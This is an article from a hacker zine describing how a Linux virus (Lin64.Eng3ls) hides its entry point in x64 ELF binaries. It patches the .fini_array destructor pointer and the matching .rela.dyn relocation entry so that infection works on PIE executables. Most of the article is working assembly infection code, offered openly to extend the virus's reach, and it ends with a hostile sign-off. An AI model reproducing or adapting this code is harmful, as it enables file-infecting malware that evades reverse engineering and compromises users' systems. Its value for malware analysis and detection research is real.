___________ __ \__ ___/____ ______ ____ __ ___/ |_ | | / \\____ \ / _ \| | \ __\ | || Y Y \ |_> > ( <_> ) | /| | |____||__|_| / __/ /\ \____/|____/ |__| \/|__| \/ +----------------------------------------------------------------------------+ |::::::::::| A short note on entrypoint obscuring in ELF binaries |::::::::::| +----------------------------------------------------------------------------+ With love, by s01den. -------------------------------------------------------------------------------- In the previous zine, Sblip and I presented you a virus we wrote, Lin64.Eng3ls, infecting x64 ELF. This virus implemented some fancy anti-RE techniques such as simple encryption, entrypoint obscuring (EPO) and .init_array hijacking to detect debuggers by pointing to a ptrace call. ======================== Quick reminder from tmp.0ut #1 ======================== In non-EPO viruses, the entrypoint of an infected program is modified to point to the beginning of the virus, whereas in EPO viruses, the virus is called in another way, whether by hiding a jump in the host's code or by, like here, abusing a specificity of the executable file format. ================================================================================ In Eng3ls, the EPO was made by modifying the .fini_array section (which contains a pointer to the destructor) in order to make it point to the virus's first instruction. However, at the time, we thought that this technique was only working for non-PIE binaries, so Eng3ls couldn't infect a lot of files. We simply didn't manage to make this technique working for PIE binaries. But some months after the releasing of Tmp.0ut #1, I started up the debugger to solve this issue once and for all. The problem was that there is another place where the pointer to the destructor is stored: an entry in the .rela.dyn section. We just have to patch it with the address of the virus's first instruction! --------------------------- CUT-HERE ----------------------------- parse_shdr: xor rcx, rcx xor rdx, rdx mov cx, word [rax+e_hdr.shnum] ; rcx contains the number of entries in the program header table mov rbx, qword [rax+e_hdr.shoff] ; rbx contains the offset of the program header table mov dx, word [rax+e_hdr.shentsize] ; rdx contains the size of an entry in the program header table loop_shdr: add rbx, rdx dec rcx cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, the section we're looking to modify to EPO (.fini_array) je dtor_found cmp rcx, 0 jg loop_shdr dtor_found: mov rdi, qword [rax+rbx+e_shdr.offset] mov r12, qword [rax+rdi] xor rcx, rcx xor rdx, rdx mov cx, word [rax+e_hdr.shnum] ; rcx contains the number of entries in the program header table mov rbx, qword [rax+e_hdr.shoff] ; rbx contains the offset of the program header table mov dx, word [rax+e_hdr.shentsize] ; rdx contains the size of an entry in the program header table loop_shdr_2: add rbx, rdx dec rcx cmp dword [rax+rbx+e_shdr.type], 0x04 ; 0x04 = SHT_RELA, we need to modify an entry of this section in order to make the EPO working je rela_dyn_found cmp rcx, 0 jg loop_shdr_2 ; compute the address differently if the ELF is PIE or not check_pie: pop rdi cmp word [rax+e_hdr.type], 2 je check_non_pie cmp qword [rax+rdi], 0x00006000 jng continue_infect mov rdi, r8 mov rax, 3 ; close syscall mov rsp, rbp ret check_non_pie: cmp qword [rax+rdi], 0x0c000000 jng continue_infect mov rdi, r8 mov rax, 3 ; close syscall mov rsp, rbp ret ; called when we found the .rela.dyn section rela_dyn_found: push rdi mov rdi, qword [rax+rbx+e_shdr.offset] xor rcx, rcx .loop: lea rbx, [rdi+rcx*8] mov r10, qword [rax+rbx] ; r10 contains an addr we obtain by parsing the section cmp r10, r12 ; r12 contains the addr stored in .fini_array (before our modifications) jne .continue ; loop until we find the right addr to modify mov qword [rax+rbx], r9 ; when we find it, we replace it with the virus's EP mov rcx,0xf .continue: inc rcx cmp rcx, 0x10 jne .loop jmp check_pie continue_infect: mov [rax+rdi], r9 ; we write the virus's EP in .fini_array ; ... ; apply the modifications -------------------------------------------------------------------------------- Now we can infect every x64 ELF, PIE or not, with EPO! Every? Not exactly... We'll see that in the next issue! Have a good day! ------> Greetz to: Sblip, TMZ, netsp00ky, smelly, the tmp.0ut crew, Sh4ll, 0kb, Xylit0l and all the others persons who keep the underground mind! Fuck infosec and all the capitalists pigs.